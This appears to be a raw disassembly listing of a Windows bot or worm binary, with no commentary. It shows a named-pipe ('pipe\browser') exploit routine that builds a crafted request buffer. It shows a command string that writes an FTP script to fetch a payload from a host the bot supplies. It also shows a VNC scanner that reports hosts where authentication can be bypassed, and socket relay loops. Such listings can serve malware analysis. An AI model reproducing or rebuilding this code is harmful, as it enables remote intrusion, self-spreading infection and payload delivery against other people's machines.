; ---------------------------------------------------------------------------
		jmp	short loc_40E3FC
; ---------------------------------------------------------------------------
		db 0BEh	; ╬
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_40E3FC:				; CODE XREF: ___:0040E3F5j
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		nop
		call	near ptr 27107F7h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40E440


loc_40E439:				; CODE XREF: ___:0040E518j
					; ___:0040E6EEj ...
		xor	al, al
		jmp	loc_40E884
; ---------------------------------------------------------------------------


loc_40E440:				; CODE XREF: ___:0040E437j
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41BD10
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_432BEC
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41CAB0
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_432BD8
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41CAB0
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_40E51D


loc_40E50F:				; CODE XREF: ___:0040E5E9j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 266053Bh
		jmp	loc_40E439
; ---------------------------------------------------------------------------


loc_40E51D:				; CODE XREF: ___:0040E50Dj
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 26F1192h
		nop
		push	ebx
		call	sub_41D81B
		push	eax
		call	sub_41C058
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41BD10
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41BD10
		add	esp, 20h
		call	sub_41C062
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_432B80[esi], bl
		jz	short loc_40E594
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4CC030
		jmp	short loc_40E5A7
; ---------------------------------------------------------------------------


loc_40E594:				; CODE XREF: ___:0040E580j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_432BCF+1)


loc_40E5A7:				; CODE XREF: ___:0040E592j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41CAB0
		add	esp, 0Ch
		call	sub_41C062
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41C062
		cdq
		idiv	edi
		mov	eax, dword_432B74[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41BC9B
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40E50F
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41BD10
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41BD10
		mov	eax, dword_432B7C[esi]
		push	7
		add	eax, edi
		push	offset dword_432B68
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41CAB0
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_432A08
		push	eax
		call	sub_41CAB0
		mov	eax, dword_432B78[esi]
		add	esp, 30h
		cmp	byte_432B80[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40E6A0
		push	4
		add	eax, edi
		push	offset dword_4CC028
		push	eax
		call	sub_41CAB0
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_432B98
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41CAB0
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41CAB0
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41CAB0
		add	esp, 30h
		jmp	short loc_40E6C8
; ---------------------------------------------------------------------------


loc_40E6A0:				; CODE XREF: ___:0040E651j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_432B98


loc_40E6B1:				; CODE XREF: ___:0040E6C6j
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41CAB0
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40E6B1


loc_40E6C8:				; CODE XREF: ___:0040E69Ej
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41BC9B
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40E6F3
		push	dword ptr [ebp-4]
		call	near ptr 266053Bh
		nop
		push	edi
		call	sub_41BA31
		pop	ecx
		jmp	loc_40E439
; ---------------------------------------------------------------------------


loc_40E6F3:				; CODE XREF: ___:0040E6DCj
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41BD10
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41CAB0
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276A4
		fstp	qword ptr [esp]
		call	sub_41CF2B
		call	sub_41CF04
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41CAB0
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40E760


loc_40E758:				; CODE XREF: ___:0040E75Bj
		inc	eax
		test	al, 3
		jnz	short loc_40E758
		mov	[ebp+0Ch], eax


loc_40E760:				; CODE XREF: ___:0040E756j
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41CAB0
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41BA31
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41BD10
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41BD10
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	near ptr 2710AF5h
		nop
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx


loc_40E7CD:				; CODE XREF: ___:0040E857j
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40E862
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40E296
		add	esp, 2Ch
		test	al, al
		jz	short loc_40E85F
		cmp	[ebp-4Ch], ebx
		jz	short loc_40E851
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 26F1192h
		nop
		test	eax, eax
		jnz	short loc_40E838
		nop
		call	near ptr 26807F9h
		cmp	eax, 3E5h
		jnz	loc_40E439


loc_40E838:				; CODE XREF: ___:0040E825j
		push	3E8h
		push	dword ptr [ebp-4Ch]
		call	near ptr 2690180h
		nop
		cmp	eax, 102h
		jnz	short loc_40E851
		mov	byte ptr [ebp+0Bh], 1


loc_40E851:				; CODE XREF: ___:0040E804j
					; ___:0040E84Bj
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40E7CD
		jmp	short loc_40E862
; ---------------------------------------------------------------------------


loc_40E85F:				; CODE XREF: ___:0040E7FFj
		mov	esi, [ebp-8]


loc_40E862:				; CODE XREF: ___:0040E7D1j
					; ___:0040E85Dj
		push	dword ptr [ebp-4]
		mov	edi, dword_427078
		call	edi
		push	esi
		call	sub_41BA31
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40E87E
		push	dword ptr [ebp-4Ch]
		call	edi


loc_40E87E:				; CODE XREF: ___:0040E877j
		cmp	[ebp+0Bh], bl
		setnz	al


loc_40E884:				; CODE XREF: ___:0040E43Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ▀
		db 0ECh	; Л
		db  81h	; │
		db 0ECh	; Л
		db 0A0h	; ═
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; Ж
		db  6Ah	; j
		db  10h
		db  8Dh	; █
		db  45h	; E
		db 0F0h	; П
		db  56h	; V
		db  50h	; P
		db 0E8h	; Х
		db  6Dh	; m
		db 0D4h	; т
		db    0
		db    0
		db  83h	; ┐
		db 0C4h	; д
		db  0Ch
		db  8Dh	; █
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; г
		db  45h	; E
		db 0F0h	; П
		db    2
		db    0
		db  50h	; P
		db  90h	; ░
		db 0E8h	; Х
		db  42h	; B
		db  2Ah	; *
		db  6Ah	; j
		db  71h	; q
		db 0FFh
		db 0B5h	; ╣
		db 0C4h	; д
		db    0
		db    0
		db    0
		db  89h	; ┴
		db  45h	; E
		db 0F4h	; Т
		db 0E8h	; Х
		db  82h	; ┌
		db  2Eh	; .
		db  6Ah	; j
		db  71h	; q
		db  90h	; ░
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ┴
		db  45h	; E
		db 0F2h	; Р
		db  90h	; ░
		db 0E8h	; Х
		db  4Eh	; N
		db  53h	; S
		db  6Ah	; j
		db  71h	; q
		db  8Bh	; ▀
		db 0D8h	; ь
		db  83h	; ┐
		db 0FBh	; Ш
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; █
		db  45h	; E
		db 0F0h	; П
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; ░
		db 0E8h	; Х
		db  75h	; u
		db  55h	; U
		db  6Ah	; j
		db  71h	; q
		db  83h	; ┐
		db 0F8h	; Ь
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ©
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ▀
		db  35h	; 5
		db  14h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FAh	; З
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; ж
		db 0B8h	; ╦
		db    8
		db  91h	; ▒
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db  40h	; @
		db  90h	; ░
		db  4Ch	; L
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; Х
		db 0E1h	; А
		db 0C0h	; ю
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  20h
		db  2Ch	; ,
		db  43h	; C
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FEh	; Ч
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; ░
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; Х
		db 0CFh	; о
		db 0D7h	; в
		db    0
		db    0
		db  83h	; ┐
		db 0C4h	; д
		db  1Ch
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FEh	; Ч
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; Х
		db  1Eh
		db 0D0h	; п
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FEh	; Ч
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db  90h	; ░
		db 0E8h	; Х
		db 0A2h	; ╒
		db  31h	; 1
		db  6Ah	; j
		db  71h	; q
		db  83h	; ┐
		db 0F8h	; Ь
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; ю
		db 0EBh	; К
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FAh	; З
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; ж
		db  53h	; S
		db  90h	; ░
		db 0E8h	; Х
		db 0FEh	; Ч
		db  30h	; 0
		db  6Ah	; j
		db  71h	; q
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; и
		db 0C3h	; ц
		db 53h
		dd 0DB335756h, 1424448Dh, 0FDE85053h, 59FFFFF9h, 7459C084h
		dd 8D656A22h, 81142474h, 0BCECh, 592F6A00h, 0A5F3FC8Bh
		dd 0FFFEE4E8h, 0C0C481FFh, 85000000h, 851575C0h, 680B75DBh
		dd 7D0h, 2523E890h, 83430226h, 0B87202FBh, 5F58016Ah
; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9CB	proc near		; CODE XREF: sub_40EAB9+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40EA99
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EA99
		mov	edi, 400h
		push	esi
		mov	esi, dword_427214
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4C9040
		push	[ebp+arg_0]
		call	sub_40A9FA
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41C100
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EA9D


loc_40EA99:				; CODE XREF: sub_40E9CB+50j
					; sub_40E9CB+62j
		xor	eax, eax
		jmp	short loc_40EAB4
; ---------------------------------------------------------------------------


loc_40EA9D:				; CODE XREF: sub_40E9CB+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax


loc_40EAB4:				; CODE XREF: sub_40E9CB+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E9CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EAB9	proc near		; CODE XREF: sub_40C3D3+1E6p
					; DATA XREF: ___:off_43180Co

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4C9344
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4C9304
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	near ptr 71AB3C22h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40EB2B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EB0C
		push	esi
		jmp	short loc_40EB25
; ---------------------------------------------------------------------------


loc_40EB0C:				; CODE XREF: sub_40EAB9+4Ej
		push	0
		push	1213h
		push	offset dword_432C94
		push	esi
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40EB2F


loc_40EB25:				; CODE XREF: sub_40EAB9+51j
		nop
		call	near ptr 71AB1A6Dh


loc_40EB2B:				; CODE XREF: sub_40EAB9+3Cj
		xor	eax, eax
		jmp	short loc_40EB71
; ---------------------------------------------------------------------------


loc_40EB2F:				; CODE XREF: sub_40EAB9+6Aj
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E9CB
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40EB6E
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431810[eax]
		lea	eax, dword_431810[eax]


loc_40EB6E:				; CODE XREF: sub_40EAB9+9Ej
		push	1
		pop	eax


loc_40EB71:				; CODE XREF: sub_40EAB9+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40EAB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EB75	proc near		; CODE XREF: ___:0040EC63p
					; ___:0040ECC5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40EB7D:				; CODE XREF: sub_40EB75+2Dj
		test	edi, edi


loc_40EB7F:				; DATA XREF: Themida_:0054BFC5o
		jle	short loc_40EBA8
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4C931C
		test	eax, eax
		jz	short loc_40EBA4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EBA4
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40EB7D
; ---------------------------------------------------------------------------


loc_40EBA4:				; CODE XREF: sub_40EB75+22j
					; sub_40EB75+27j
		xor	eax, eax
		jmp	short loc_40EBAB
; ---------------------------------------------------------------------------


loc_40EBA8:				; CODE XREF: sub_40EB75:loc_40EB7Fj
		push	1
		pop	eax


loc_40EBAB:				; CODE XREF: sub_40EB75+31j
		pop	edi
		pop	esi
		retn
sub_40EB75	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBAE	proc near		; CODE XREF: ___:0040ECAFp
					; ___:0040ECDCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40EBEB
		xor	esi, esi
		test	edi, edi
		jle	short loc_40EBE5


loc_40EBBE:				; CODE XREF: sub_40EBAE+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4C9354
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EBEB
		test	eax, eax
		jz	short loc_40EBEB
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40EBBE


loc_40EBE5:				; CODE XREF: sub_40EBAE+Ej
		push	1
		pop	eax


loc_40EBE8:				; CODE XREF: sub_40EBAE+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40EBEB:				; CODE XREF: sub_40EBAE+8j
					; sub_40EBAE+2Bj ...
		xor	eax, eax
		jmp	short loc_40EBE8
sub_40EBAE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433ED8
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4C9384
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40EC1D
		push	eax
		jmp	short loc_40EC51
; ---------------------------------------------------------------------------


loc_40EC1D:				; CODE XREF: ___:0040EC18j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4C9344
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4C9304
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4C92AC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC5C
		push	ebx


loc_40EC51:				; CODE XREF: ___:0040EC1Bj
		call	dword_4C939C
		jmp	loc_40EE57
; ---------------------------------------------------------------------------


loc_40EC5C:				; CODE XREF: ___:0040EC4Ej
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EB75
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE50
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41CA73
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40EE50
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40ECA8
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40EE50


loc_40ECA8:				; CODE XREF: ___:0040EC9Cj
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBAE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE50
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40EB75
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE50
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40EBAE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE50
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40EB75
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE50
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40EE50
		push	1
		push	offset word_4C91BC
		push	ebx
		call	sub_40EBAE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE50
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40EB75
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE50
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41D735
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40EDE0
		push	edi
		push	esi
		push	ebx
		call	sub_40EB75
		add	esp, 0Ch


loc_40EDE0:				; CODE XREF: ___:0040EDD3j
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41C100
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409862
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_415CEE
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431810[eax]
		push	ebx
		lea	eax, dword_431810[eax]
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax
		jmp	short loc_40EE59
; ---------------------------------------------------------------------------


loc_40EE50:				; CODE XREF: ___:0040EC6Dj
					; ___:0040EC92j ...
		push	ebx
		nop
		call	near ptr 71AB1A6Dh


loc_40EE57:				; CODE XREF: ___:0040EC57j
		xor	eax, eax


loc_40EE59:				; CODE XREF: ___:0040EE4Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EE67:				; CODE XREF: ___:0040EE83j
					; ___:0040EE9Fj
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CC048
		call	dword_4C931C
		test	eax, eax
		jle	short loc_40EE67
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CC044
		nop
		call	near ptr 2700000h
		jmp	short loc_40EE67
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EEAA:				; CODE XREF: ___:0040EED0j
					; ___:0040EEEAj
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CC038
		call	near ptr 26F1192h
		nop
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40EEAA
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CC048
		call	dword_4C9354
		jmp	short loc_40EEAA
; ---------------------------------------------------------------------------
dword_40EEEC	dd 81EC8B55h, 11CECh, 8458B00h,	6A575653h, 59F08B28h, 0FEE4BD8Dh
					; DATA XREF: sub_401AC7+2CDAo
		dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
		dd 0F1E85057h, 830000CDh, 0C7660CC4h, 2C845h, 0FF68B5FFh
		dd 15FFFFFFh, 4C9304h, 6A56066Ah, 45896602h, 8415FFCAh
		dd 89004C93h, 458D0845h, 50106AC8h, 0FF0875FFh,	4C933015h
		dd 0FF056A00h, 15FF0875h, 4C932Ch, 71141D8Bh, 358B0042h
